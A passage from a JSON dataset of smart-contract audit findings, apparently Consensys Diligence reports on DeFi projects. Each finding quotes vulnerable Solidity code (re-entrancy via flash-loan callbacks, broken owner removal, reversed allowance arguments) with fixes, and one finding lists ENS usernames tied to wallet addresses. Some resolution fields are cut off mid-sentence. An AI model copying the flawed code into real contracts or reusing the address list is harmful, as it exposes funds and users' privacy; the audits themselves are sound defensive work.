Funds.update() lets users update fields that may not have any effect ", "body": " Resolution This is fixed in AtomicLoans/atomicloans-eth-contracts#67. Description Funds.update() allows users to update the following fields which are only used if bools[fund].custom is set: minLoanamt maxLoanAmt minLoanDur interest penalty fee liquidationRatio If bools[fund].custom is not set, then these changes have no effect. This may be misleading to users. Examples code/ethereum/contracts/Funds.sol:L454-L478 function update( bytes32 fund, uint256 minLoanAmt_, uint256 maxLoanAmt_, uint256 minLoanDur_, uint256 maxLoanDur_, uint256 maxFundDur_, uint256 interest_, uint256 penalty_, uint256 fee_, uint256 liquidationRatio_, address arbiter_ ) external { require(msg.sender == lender(fund)); funds[fund].minLoanAmt = minLoanAmt_; funds[fund].maxLoanAmt = maxLoanAmt_; funds[fund].minLoanDur = minLoanDur_; funds[fund].maxLoanDur = maxLoanDur_; funds[fund].maxFundDur = maxFundDur_; funds[fund].interest = interest_; funds[fund].penalty = penalty_; funds[fund].fee = fee_; funds[fund].liquidationRatio = liquidationRatio_; funds[fund].arbiter = arbiter_; Recommendation This could be addressed by creating two update functions: one for custom funds and one for non-custom funds. Only the update for custom funds would allow setting these values. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/atomic-loans/"}, {"title": "5.1 Reward rate changes are not taken into account in LP staking ", "body": " Resolution Comment from pSTAKE Finance team: Have implemented two new Emission logic for pToken & Other Reward Tokens in StakeLP which mandatorily distributes rewards only after updating the Reward Pool, thereby fixing this potential issue. Description When users update their reward (e.g., by calling the calculateRewards function), the reward amount is calculated according to all reward rate changes after the last update. So it does not matter when and how frequently you update the reward; in the end, you re going to have the same amount. On the other hand, we can t say the same about the lp staking provided in the StakeLPCoreV8 contract. The amount of these rewards depends on when you call the calculateRewardsAndLiquidity function, and the reward amount can even decrease over time. Two main factors lead to this: Changes in the reward rate. If the reward rate is decreased at some point, it s getting partially propagated to all the rewards there were not distributed yet. So the reward of the users that didn t call the calculateRewardsAndLiquidity function may decrease. On the other hand, if the reward rate is supposed to increase, it s better to wait and not call calculateRewardsAndLiquidity for as long as possible. Not every liquidity provider will stake their LP tokens. When users provide liquidity but do not stake the LP tokens, the reward for these Stokens is still going to the Holder contract. These rewards getting proportionally distributed to the users that are staking their LP tokens. Basically, these rewards are added to the current reward rate but change more frequently. The same logic applies to that rewards; if you expect the unstaked LP tokens to increase, it s in your interest not to withdraw your rewards. But if they are decreasing, it s better to gather the rewards as early as possible. Recommendation The most preferred staking solution is to have an algorithm that is not giving people an incentive to gather the rewards earlier or later. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/08/pstake-finance/"}, {"title": "5.2 The withdrawUnstakedTokens may run out of gas ", "body": " Resolution Comment from pSTAKE Finance team: Have implemented a batchingLimit variable which enforces a definite number of iterations during withdrawal of unstaked tokens, instead of indefinite iterations. Description The withdrawUnstakedTokens is iterating over all batches of unstaked tokens. One user, if unstaked many times, could get their tokens stuck in the contract. code/contracts/LiquidStakingV2.sol:L369-L403 function withdrawUnstakedTokens(address staker) public virtual override whenNotPaused require(staker == _msgSender(), \"LQ20\"); uint256 _withdrawBalance; uint256 _unstakingExpirationLength = _unstakingExpiration[staker] .length; uint256 _counter = _withdrawCounters[staker]; for ( uint256 i = _counter; i < _unstakingExpirationLength; i = i.add(1) ) { //get getUnstakeTime and compare it with current timestamp to check if 21 days + epoch difference has passed (uint256 _getUnstakeTime, , ) = getUnstakeTime( _unstakingExpiration[staker][i] ); if (block.timestamp >= _getUnstakeTime) { //if 21 days + epoch difference has passed, then add the balance and then mint uTokens _withdrawBalance = _withdrawBalance.add( _unstakingAmount[staker][i] ); _unstakingExpiration[staker][i] = 0; _unstakingAmount[staker][i] = 0; _withdrawCounters[staker] = _withdrawCounters[staker].add(1); require(_withdrawBalance > 0, \"LQ21\"); emit WithdrawUnstakeTokens(staker, _withdrawBalance, block.timestamp); _uTokens.mint(staker, _withdrawBalance); Recommendation Limit the number of processed unstaked batches, and possibly add pagination. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/08/pstake-finance/"}, {"title": "5.3 The _calculatePendingRewards can run out of gas ", "body": " Resolution Comment from pSTAKE Finance team: A solution of maintaining cumulative timeshare values in an array and implementing binary search drastically lowers the iterations, has been implemented for calculating rewards for Other Reward Tokens. Also, for moving reward rate, strategically it will only be set max once a month making number of iterations very limited. Description The reward rate in STokens can be changed, and the history of these changes are stored in the contract: code/contracts/STokensV2.sol:L124-L139 function setRewardRate(uint256 rewardRate) public virtual override returns (bool success) // range checks for rewardRate. Since rewardRate cannot be more than 100%, the max cap // is _valueDivisor * 100, which then brings the fees to 100 (percentage) require(rewardRate <= _valueDivisor.mul(100), \"ST17\"); require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), \"ST2\"); _rewardRate.push(rewardRate); _lastMovingRewardTimestamp.push(block.timestamp); emit SetRewardRate(rewardRate); return true; When the reward is calculated for each user, all changes of the _rewardRate are considered. So there is a for loop that iterates over all changes since the last reward update. If the reward rate was changed many times, the _calculatePendingRewards function could run out of gas. Recommendation Provide an option to partially update the reward, so the full update can be split in multiple transactions. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/08/pstake-finance/"}, {"title": "5.4 Increase test coverage ", "body": " Resolution Comment from pSTAKE Finance team: Created deep-dive test for each unique scenarios locally and tested before the code was deployed. Description Test coverage is fairly limited. LPStaking tests only cover the happy path. StakeLPCoreV8 has no tests. Many test descriptions are inaccurate. Examples Test description inaccuracy examples: This tests that a Staker can mint new tokens, but does not check to make sure that Stakers are the ONLY group that can mint. https://github.com/ConsenSys/persistence-pstake-audit-2021-08/blob/3821182ca14e0e98ab9fccd47cbe0f1ce39ae54c/code/test/LiquidStakingTest.js#L82 This test only shows that an unauthorized address can t use the stake function to mint tokens. https://github.com/ConsenSys/persistence-pstake-audit-2021-08/blob/3821182ca14e0e98ab9fccd47cbe0f1ce39ae54c/code/test/LiquidStakingTest.js#L99 This test actually tests for the inverse case. https://github.com/ConsenSys/persistence-pstake-audit-2021-08/blob/3821182ca14e0e98ab9fccd47cbe0f1ce39ae54c/code/test/STokensTest.js#L82 Recommendation Increase test coverage for entire codebase. Add tests for the inherited contracts from OpenZeppelin. Test for edge cases, and multiple expected cases. Ensure that the test description matches the functionality that is actually tested. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/08/pstake-finance/"}, {"title": "5.5 The calculateRewards should not be callable by the whitelisted contract ", "body": " Resolution Comment from pSTAKE Finance team: Have created a require condition in Smart Contract code to disallow whitelisted contracts from calling the function Description The calculateRewards function should only be called for non-whitelisted addresses: code/contracts/STokensV2.sol:L348-L359 function calculateRewards(address to) public virtual override whenNotPaused returns (bool success) require(to == _msgSender(), \"ST5\"); uint256 reward = _calculateRewards(to); emit TriggeredCalculateRewards(to, reward, block.timestamp); return true; For all the whitelisted addresses, the calculateHolderRewards function is called. But if the calculateRewards function is called by the whitelisted address directly, the function will execute, and the rewards will be distributed to the caller instead of the intended recipients. Recommendation While this scenario is unlikely to happen, adding the additional check in the calculateRewards is a good option. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/08/pstake-finance/"}, {"title": "5.6 Presence of testnet code ", "body": " Resolution Comment from pSTAKE Finance team: The testnet code has been re-considered as out of scope for audit Description Based on the discussions with pStake team and in-line comments, there are a few instances of code and commented code in the code base under audit that are not finalized for mainnet deployment. Examples code/contracts/PSTAKE.sol:L25-L37 function initialize(address pauserAddress) public virtual initializer { __ERC20_init(\"pSTAKE Token\", \"PSTAKE\"); __AccessControl_init(); __Pausable_init(); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, pauserAddress); // PSTAKE IS A SIMPLE ERC20 TOKEN HENCE 18 DECIMAL PLACES _setupDecimals(18); // pre-allocate some tokens to an admin address which will air drop PSTAKE tokens // to each of holder contracts. This is only for testnet purpose. in Mainnet, we // will use a vesting contract to allocate tokens to admin in a certain schedule _mint(_msgSender(), 5000000000000000000000000); The initialize function currently mints all the tokens to msg.sender, however the goal for mainnet is to use a vesting contract which is not present in the current code. Recommendation It is recommended to fully test the final code before deployment to the mainnet. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/08/pstake-finance/"}, {"title": "5.7 Re-entrancy from LP token transfers ", "body": " Resolution Comment from pSTAKE Finance team: Have implemented the nonReentrant modifier from the ReentrancyGuardUpgradeable OpenZeppelin contract in addition to strictly keeping to Checks-Effects-Interactions pattern throughout relevant areas Description The StakeLPCoreV8 contract is designed to stake LP tokens. These LP tokens are not directly controlled or developed by the protocol, so it can t be easily verified that no re-entrancy can happen during token transfers. Recommendation During the review, we did not find any specific ways to build the attack using the re-entrancy of LP tokens, but it is still better to have the re-entrancy protection modifiers in functions that use LP tokens transfers. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/08/pstake-finance/"}, {"title": "5.8 Sanity check on all important variables ", "body": " Resolution Comment from pSTAKE Finance team: Post the implementation of new emission logic there have been a rearrangement of some variables, but the rest have been sanity tested and corrected Description Most of the functionalities have proper sanity checks when it comes to setting system-wide variables, such as whitelist addresses. However there are a few key setters that lack such sanity checks. Examples Sanity check (!= address(0)) on all token contracts. code/contracts/StakeLPCoreV8.sol:L303-L333 function setUTokensContract(address uAddress) public virtual override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), \"LP9\"); _uTokens = IUTokens(uAddress); emit SetUTokensContract(uAddress); /** @dev Set 'contract address', called from constructor @param sAddress: stoken contract address Emits a {SetSTokensContract} event with '_contract' set to the stoken contract address. / function setSTokensContract(address sAddress) public virtual override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), \"LP10\"); _sTokens = ISTokens(sAddress); emit SetSTokensContract(sAddress); /** @dev Set 'contract address', called from constructor @param pstakeAddress: pStake contract address Emits a {SetPSTAKEContract} event with '_contract' set to the stoken contract address. / function setPSTAKEContract(address pstakeAddress) public virtual override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), \"LP11\"); _pstakeTokens = IPSTAKE(pstakeAddress); emit SetPSTAKEContract(pstakeAddress); Sanity check on unstakingLockTime to be in the acceptable range (21 hours to 21 days) code/contracts/LiquidStakingV2.sol:L105-L121 /** @dev Set 'unstake props', called from admin @param unstakingLockTime: varies from 21 hours to 21 days Emits a {SetUnstakeProps} event with 'fee' set to the stake and unstake. / function setUnstakingLockTime(uint256 unstakingLockTime) public virtual returns (bool success) require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), \"LQ3\"); _unstakingLockTime = unstakingLockTime; emit SetUnstakingLockTime(unstakingLockTime); return true; ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/08/pstake-finance/"}, {"title": "5.9 Remove unused/commented code", "body": " Description There are a few snippets of commented code in the code base. It is suggested to remove and clean any unused and commented code in the final code. Examples code/contracts/PSTAKE.sol:L50-L73 /* function mint(address to, uint256 tokens) public virtual override returns (bool success) { require(_msgSender() == _stakeLPCoreContract, \"PS1\"); // minted by STokens contract _mint(to, tokens); return true; } */ /* @dev Burn utokens for the provided 'address' and 'amount' @param from: account address, tokens: number of tokens Emits a {BurnTokens} event with 'from' set to address and 'tokens' set to amount of tokens. Requirements: - `amount` cannot be less than zero. / /* function burn(address from, uint256 tokens) public virtual override returns (bool success) { require((tx.origin == from && _msgSender()==_liquidStakingContract) || // staking operation (tx.origin == from && _msgSender() == _wrapperContract), \"UT2\"); // unwrap operation _burn(from, tokens); return true; } */ ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/08/pstake-finance/"}, {"title": "4.1 Initialization flaws ", "body": " Resolution This has been fixed in Description OpenZeppelin Contracts Upgradeable is to have a Examples The __ERC20WrapperGluwacoin_init function is implemented as follows: code/contracts/ERC20WrapperGluwacoin.sol:L36-L48 function __ERC20WrapperGluwacoin_init( string memory name, string memory symbol, IERC20 token ) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); __ERC20ETHless_init_unchained(); __ERC20Reservable_init_unchained(); __AccessControlEnumerable_init_unchained(); __ERC20Wrapper_init_unchained(token); __ERC20WrapperGluwacoin_init_unchained(); And the C3 linearization is: The calls __ERC165_init_unchained(); and __AccessControl_init_unchained(); are missing, and __ERC20Wrapper_init_unchained(token); should move between __ERC20_init_unchained(name, symbol); and __ERC20ETHless_init_unchained();. Recommendation Review all *_init functions, add the missing *_init_unchained calls, and fix the order of these calls. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/10/gluwacoin-erc-20-wrapper/"}, {"title": "4.2 Flaw in _beforeTokenTransfer call chain and missing tests ", "body": " Resolution This has been fixed in Description In OpenZeppelin s ERC-20 implementation, the virtual _beforeTokenTransfer function provides a hook that is called before tokens are transferred, minted, or burned. In the Gluwacoin codebase, it is used to check whether the unreserved balance (as opposed to the regular balance, which is checked by the ERC-20 implementation) of the sender is sufficient to allow this transfer or burning. In ERC20WrapperGluwacoin, ERC20Reservable, and ERC20Wrapper, the _beforeTokenTransfer function is implemented in the following way: code/contracts/ERC20WrapperGluwacoin.sol:L54-L61 function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override(ERC20Upgradeable, ERC20Wrapper, ERC20Reservable) { ERC20Wrapper._beforeTokenTransfer(from, to, amount); ERC20Reservable._beforeTokenTransfer(from, to, amount); code/contracts/abstracts/ERC20Reservable.sol:L156-L162 function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override (ERC20Upgradeable) { if (from != address(0)) { require(_unreservedBalance(from) >= amount, \"ERC20Reservable: transfer amount exceeds unreserved balance\"); super._beforeTokenTransfer(from, to, amount); code/contracts/abstracts/ERC20Wrapper.sol:L176-L178 function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override (ERC20Upgradeable) { super._beforeTokenTransfer(from, to, amount); Finally, the C3-linearization of the contracts is: Moreover, while reviewing the correctness and coverage of the tests is not in scope for this engagement, we happened to notice that there are no tests that check whether the unreserved balance is sufficient for transferring or burning tokens. Recommendation ERC20WrapperGluwacoin._beforeTokenTransfer should just call super._beforeTokenTransfer. Moreover, the _beforeTokenTransfer implementation can be removed from ERC20Wrapper. We would like to stress the importance of careful and comprehensive testing in general and of this functionality in particular, as it is crucial for the system s integrity. We also encourage investigating whether there are more such omissions and an evaluation of the test quality and coverage in general. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/10/gluwacoin-erc-20-wrapper/"}, {"title": "4.3 Hard-coded decimals ", "body": " Resolution In Description The Gluwacoin wrapper token should have the same number of decimals as the wrapped ERC-20. Currently, the number of decimals is hard-coded to 6. This limits flexibility or requires source code changes and recompilation if a token with a different number of decimals is to be wrapped. code/contracts/ERC20WrapperGluwacoin.sol:L32-L34 function decimals() public pure override returns (uint8) { return 6; Recommendation We recommend supplying the number of decimals as an initialization parameter and storing it in a state variable. That increases gas consumption of the decimals function, but we doubt this view function will be frequently called from a contract, and even if it was, we think the benefits far outweigh the costs. Moreover, we believe the decimals logic (i.e., function decimals and the new state variable) should be implemented in the ERC20Wrapper contract which holds the basic ERC-20 functionality of the wrapper token and not in ERC20WrapperGluwacoin, which is the base contract of the entire system. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/10/gluwacoin-erc-20-wrapper/"}, {"title": "5.1 Delegated transactions can be executed for multiple accounts ", "body": " Resolution Comment from the client: The issue has been solved Description The Gateway contract allows users to create meta transactions triggered by the system s backend. To do so, one of the owners of the account should sign the message in the following format: code/src/gateway/Gateway.sol:L125-L131 address sender = _hashPrimaryTypedData( _hashTypedData( nonce, to, data ).recoverAddress(senderSignature); The message includes a nonce, destination address, and call data. The problem is that this message does not include the account address. So if the sender is the owner of multiple accounts, this meta transaction can be called for multiple accounts. Recommendation Add the account field in the signed message or make sure that any address can be the owner of only one account. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}, {"title": "5.2 Removing an owner does not work in PersonalAccountRegistry ", "body": " Resolution Comment from the client: The issue has been solved Description An owner of a personal account can be added/removed by other owners. When removing the owner, only removedAtBlockNumber value is updated. accounts[account].owners[owner].added remains true: code/src/personal/PersonalAccountRegistry.sol:L116-L121 accounts[account].owners[owner].removedAtBlockNumber = block.number; emit AccountOwnerRemoved( account, owner ); But when the account is checked whether this account is the owner, only accounts[account].owners[owner].added is actually checked: code/src/personal/PersonalAccountRegistry.sol:L255-L286 function _verifySender( address account private returns (address) address sender = _getContextSender(); if (!accounts[account].owners[sender].added) { require( accounts[account].salt == 0 ); bytes32 salt = keccak256( abi.encodePacked(sender) ); require( account == _computeAccountAddress(salt) ); accounts[account].salt = salt; accounts[account].owners[sender].added = true; emit AccountOwnerAdded( account, sender ); return sender; So the owner will never be removed, because accounts[account].owners[owner].added will always be `true. Recommendation Properly check if the account is still the owner in the _verifySender function. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}, {"title": "5.3 The withdrawal mechanism is overcomplicated ", "body": " Resolution Comment from the client: The withdrawal mechanism has been refactored. In current version user can withdraw funds from the deposit account in two ways: with guardian signature - withdrawDeposit using deposit exit process Description To withdraw the funds, anyone who has the account in PaymentRegistry should call the withdrawDeposit function and go through the withdrawal process. After the lockdown period (30 days), the user will withdraw all the funds from the account. code/src/payment/PaymentRegistry.sol:L160-L210 function withdrawDeposit( address token external address owner = _getContextAccount(); uint256 lockedUntil = deposits[owner].withdrawalLockedUntil[token]; /* solhint-disable not-rely-on-time */ if (lockedUntil != 0 && lockedUntil <= now) { deposits[owner].withdrawalLockedUntil[token] = 0; address depositAccount = deposits[owner].account; uint256 depositValue; if (token == address(0)) { depositValue = depositAccount.balance; } else { depositValue = ERC20Token(token).balanceOf(depositAccount); _transferFromDeposit( depositAccount, owner, token, depositValue ); emit DepositWithdrawn( depositAccount, owner, token, depositValue ); } else { _deployDepositAccount(owner); lockedUntil = now.add(depositWithdrawalLockPeriod); deposits[owner].withdrawalLockedUntil[token] = lockedUntil; emit DepositWithdrawalRequested( deposits[owner].account, owner, token, lockedUntil ); /* solhint-enable not-rely-on-time */ During that period, everyone who has a channel with the user is forced to commit their channels or lose money from that channel. When doing so, every user will reset the initial lockdown period and the withdrawer should start the process again. code/src/payment/PaymentRegistry.sol:L479-L480 if (deposits[sender].withdrawalLockedUntil[token] > 0) { deposits[sender].withdrawalLockedUntil[token] = 0; There is no way for the withdrawer to close the channel by himself. If the withdrawer has N channels, it s theoretically possible to wait for up to N*(30 days) period and make N+2 transactions. Recommendation There may be some minor recommendations on how to improve that without major changes: When committing a payment channel, do not reset the lockdown period to zero. Two better option would be either not change it at all or extend to now + depositWithdrawalLockPeriod ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}, {"title": "5.4 A malicious guardian can steal funds ", "body": " Resolution Comment from the client: The etherspot payment system is semi-trusted by design. Description A guardian is signing every message that should be submitted as a payment channel update. A guardian s two main things to verify are: blockNumber and the fact that the sender has enough funds. There are two main attack vectors for the malicious guardian: It s possible to conspire with the previous owner of the account and submit the old blockNumber. This allows them to drain the account. A guardian can also conspire with the sender and send more funds to multiple channels than funds in the account. Recommendation Reduce the system s reliance on single points of failure like the guardians. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}, {"title": "5.5 Upgrade solidity version ", "body": " Resolution Solidity version has been upgraded to 0.6.12 Description The current minimal solidity version is 0.6.0. But some parts of the code use features from the later versions of solidity, like the high-level version of CREATE2 to create accounts. Recommendation Upgrade solidity version to the latest stable (0.6.12). ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}, {"title": "5.6 The lockdown period shouldn t be extended when called multiple times ", "body": " Resolution Comment from the client: The issue has been solved Description In order to withdraw a deposit from the PaymentRegistry, the account owner should call the withdrawDeposit function and wait for depositWithdrawalLockPeriod (30 days) before actually transferring all the tokens from the account. The issue is that if the withdrawer accidentally calls it for the second time before these 30 days pass, the waiting period gets extended for 30 days again. code/src/payment/PaymentRegistry.sol:L170-L199 if (lockedUntil != 0 && lockedUntil <= now) { deposits[owner].withdrawalLockedUntil[token] = 0; address depositAccount = deposits[owner].account; uint256 depositValue; if (token == address(0)) { depositValue = depositAccount.balance; } else { depositValue = ERC20Token(token).balanceOf(depositAccount); _transferFromDeposit( depositAccount, owner, token, depositValue ); emit DepositWithdrawn( depositAccount, owner, token, depositValue ); } else { _deployDepositAccount(owner); lockedUntil = now.add(depositWithdrawalLockPeriod); Recommendation Only extend the waiting period when a withdrawal is requested for the first time. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}, {"title": "5.7 Missing documentation ", "body": " Resolution Comment from the client: Code has been documented - We will work on white paper, graphs later Description The code base as is, is missing proper documentations to understand the code work flow and logic. The most important pieces are high-level diagrams, user work flows, and updated white paper. It is important for readability and maintainability of the codebase to add in-line documentations. The Pillar code base under the audit lacks any type of inline documentation and it makes the code reviewer s job much harder. We highly recommend to provide inline documentation using Solidity s natspec format, as this will be easier to maintain. As an example PaymentRegistry.sol without the documentation is really hard to read and understand. There are many assumptions or off-chain dependencies and it s impossible to understand the flows simply by reading the solidity code. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}] \ No newline at end of file diff --git a/results/consensys_findings_2.json b/results/consensys_findings_2.json new file mode 100644 index 0000000..de96605 --- /dev/null +++ b/results/consensys_findings_2.json @@ -0,0 +1 @@ +[{"title": "5.8 Gateway can call any contract ", "body": " Resolution Comment from the client: That s right Gateway can call any contract, we want to keep it open for any external contract. Description The Gateway contract is used as a gateway for meta transactions and batched transactions. It can currently call any contract, while is only intended to call specific contracts in the system that implemented GatewayRecipient interface: code/src/gateway/Gateway.sol:L280-L292 for (uint256 i = 0; i < data.length; i++) { require( to[i] != address(0) ); // solhint-disable-next-line avoid-low-level-calls (succeeded,) = to[i].call(abi.encodePacked(data[i], account, sender)); require( succeeded ); There are currently no restrictions for to value. Recommendation Make sure, only intended contracts can be called by the Gateway : PersonalAccountRegistry, PaymentRegistry, ENSController. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}, {"title": "5.9 Remove unused code ", "body": " Resolution Comment from the client: Unused code has been removed Description In account/AccountController.sol when deploying an account, the function _deployAccount() gets an extra input value which is always 0 and not set in any other method. Examples code/src/common/account/AccountController.sol:L24-L38 return _deployAccount( salt, ); function _deployAccount( bytes32 salt, uint256 value internal returns (address) return address(new Account{salt: salt, value: value}()); Recommendation It is recommended to remove this value as there are no use cases for it at the moment, however if it is planned to be used in the future, it should be well documented in the code to prevent confusion. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}, {"title": "5.10 Using ENS subdomains introduces possible privacy issues ", "body": " Resolution Comment from the client: This is a known issue - we also added Description Using ENS names by default introduces a privacy issue for users. The current implementation leaks all user addresses and their associated username. This is possibly known issue, however it is worth to mention as part of this audit. Examples Here s a sample of already registered addresses on mainnet fetched using Legions: sbeta> ens listSubdomains name=\"pillar.eth\" > Subdomains for 'pillar.eth' > NameHash: '0x5bb02333b1f96385ba28fd63408843cfeee095b32196b718786a56e491e33387' mrsirio 0x6d2ce500f82e20cdeb733ec0530360d2e761f44d coinstacker 0x60cc065f860682fb899a385b9af66fe82b412b29 dadang 0x904e88eb2602d947ded5c0c5b84c32109255a5f2 ramaido 0x1ee590464e00780ab1c620de41545e74c0731521 tongkol 0x3cbbf43f7a449d54a71bf97c779186f183d1e9eb kell 0x3d48c65ddfb5bed5980b40974416b55eceed6fab sipa 0x944972562ea6a07ee0f77bf6ce89559214347774 joyboy 0x4660b09e45930d5ffaedf36bad4a37705303970b ryanc 0x0c58b9d8b6bdfcd7fb33ab1ecc6b0db4fa94a7b8 hammad 0xe94bb8ea91bfa791cf632e2353cabb87a93713d6 nicolas 0x12ce0a744ccf8958b6859aff1e85bca797e4f742 timmy2shoes 0xafad99c454d97b0130da64179e1a5a7b516ae225 sergvind 0xd5164fe7b9b1d44dd4eb35ef312ada6bce2878ff 0x7384e49fdf540de561f0dc810cc9ad87e909afbe 0x2e496c59c5a0f525d82cf0402851f361ac879c63 ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/11/pillar/"}, {"title": "5.1 Random task execution ", "body": " Resolution Fixed in DecenterApps/defisaver-v3-contracts@478e9cd by adding Description In a scenario where user takes a flash loan, _parseFLAndExecute() gives the flash loan wrapper contract (FLAaveV2, FLDyDx) the permission to execute functions on behalf of the user s DSProxy. This execution permission is revoked only after the entire recipe execution is finished, which means that in case that any of the external calls along the recipe execution is malicious, it might call executeAction() back and inject any task it wishes (e.g. take user s funds out, drain approved tokens, etc) Examples code/contracts/actions/flashloan/FLAaveV2.sol:L105-L136 function executeOperation( address[] memory _assets, uint256[] memory _amounts, uint256[] memory _fees, address _initiator, bytes memory _params ) public returns (bool) { require(msg.sender == AAVE_LENDING_POOL, ERR_ONLY_AAVE_CALLER); require(_initiator == address(this), ERR_SAME_CALLER); (Task memory currTask, address proxy) = abi.decode(_params, (Task, address)); // Send FL amounts to user proxy for (uint256 i = 0; i < _assets.length; ++i) { _assets[i].withdrawTokens(proxy, _amounts[i]); address payable taskExecutor = payable(registry.getAddr(TASK_EXECUTOR_ID)); // call Action execution IDSProxy(proxy).execute{value: address(this).balance}( taskExecutor, abi.encodeWithSelector(CALLBACK_SELECTOR, currTask, bytes32(_amounts[0] + _fees[0])) ); // return FL for (uint256 i = 0; i < _assets.length; i++) { _assets[i].approveToken(address(AAVE_LENDING_POOL), _amounts[i] + _fees[i]); return true; Recommendation A reentrancy guard (mutex) that covers the entire content of FLAaveV2.executeOperation/FLDyDx.callFunction should be used to prevent such attack. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.2 Tokens with more than 18 decimal points will cause issues ", "body": " Resolution Fixed in DecenterApps/defisaver-v3-contracts@de22007 by using Description It is assumed that the maximum number of decimals for each token is 18. However uncommon, but it is possible to have tokens with more than 18 decimals, as an Example YAMv2 has 24 decimals. This can result in broken code flow and unpredictable outcomes (e.g. an underflow will result with really high rates). Examples contracts/exchangeV3/wrappersV3/KyberWrapperV3.sol function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory) public override view returns (uint rate) { (rate, ) = KyberNetworkProxyInterface(KYBER_INTERFACE) .getExpectedRate(IERC20(_srcAddr), IERC20(_destAddr), _srcAmount); // multiply with decimal difference in src token rate = rate * (10**(18 - getDecimals(_srcAddr))); // divide with decimal difference in dest token rate = rate / (10**(18 - getDecimals(_destAddr))); code/contracts/views/AaveView.sol : also used in getLoanData() Recommendation Make sure the code won t fail in case the token s decimals is more than 18. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.3 Error codes of Compound s Comptroller.enterMarket, Comptroller.exitMarket are not checked ", "body": " Resolution Fixed in DecenterApps/defisaver-v3-contracts@7075e49 by reverting in the case the return value is non zero. Description Compound s enterMarket/exitMarket functions return an error code instead of reverting in case of failure. DeFi Saver smart contracts never check for the error codes returned from Compound smart contracts, although the code flow might revert due to unavailability of the CTokens, however early on checks for Compound errors are suggested. Examples code/contracts/actions/compound/helpers/CompHelper.sol:L26-L37 function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; IComptroller(COMPTROLLER_ADDR).enterMarkets(markets); /// @notice Exits the Compound market /// @param _cTokenAddr CToken address of the token function exitMarket(address _cTokenAddr) public { IComptroller(COMPTROLLER_ADDR).exitMarket(_cTokenAddr); Recommendation Caller contract should revert in case the error code is not 0. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.4 Reversed order of parameters in allowance function call ", "body": " Resolution Fixed in DecenterApps/defisaver-v3-contracts@8b5657b by swapping the order of function call parameters. Description When trying to pull the maximum amount of tokens from an approver to the allowed spender, the parameters that are used for the allowance function call are not in the same order that is used later in the call to safeTransferFrom. Examples code/contracts/utils/TokenUtils.sol:L26-L44 function pullTokens( address _token, address _from, uint256 _amount ) internal returns (uint256) { // handle max uint amount if (_amount == type(uint256).max) { uint256 allowance = IERC20(_token).allowance(address(this), _from); uint256 balance = getBalance(_token, _from); _amount = (balance > allowance) ? allowance : balance; if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) { IERC20(_token).safeTransferFrom(_from, address(this), _amount); return _amount; Recommendation Reverse the order of parameters in allowance function call to fit the order that is in the safeTransferFrom function call. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/03/defi-saver/"}, {"title": "5.5 Full test suite is recommended Pending", "body": " Description The test suite at this stage is not complete and many of the tests fail to execute. For complicated systems such as DeFi Saver, which uses many different modules and interacts with different DeFi protocols, it is crucial to have a full test coverage that includes the edge cases and failed scenarios. Especially this helps with safer future development and upgrading each modules. As we ve seen in some smart contract incidents, a complete test suite can prevent issues that might be hard to find with manual reviews. Some issues such as issue 5.4 could be caught by a full coverage test suite. ", "labels": ["Consensys", "Medium"], "html_url": 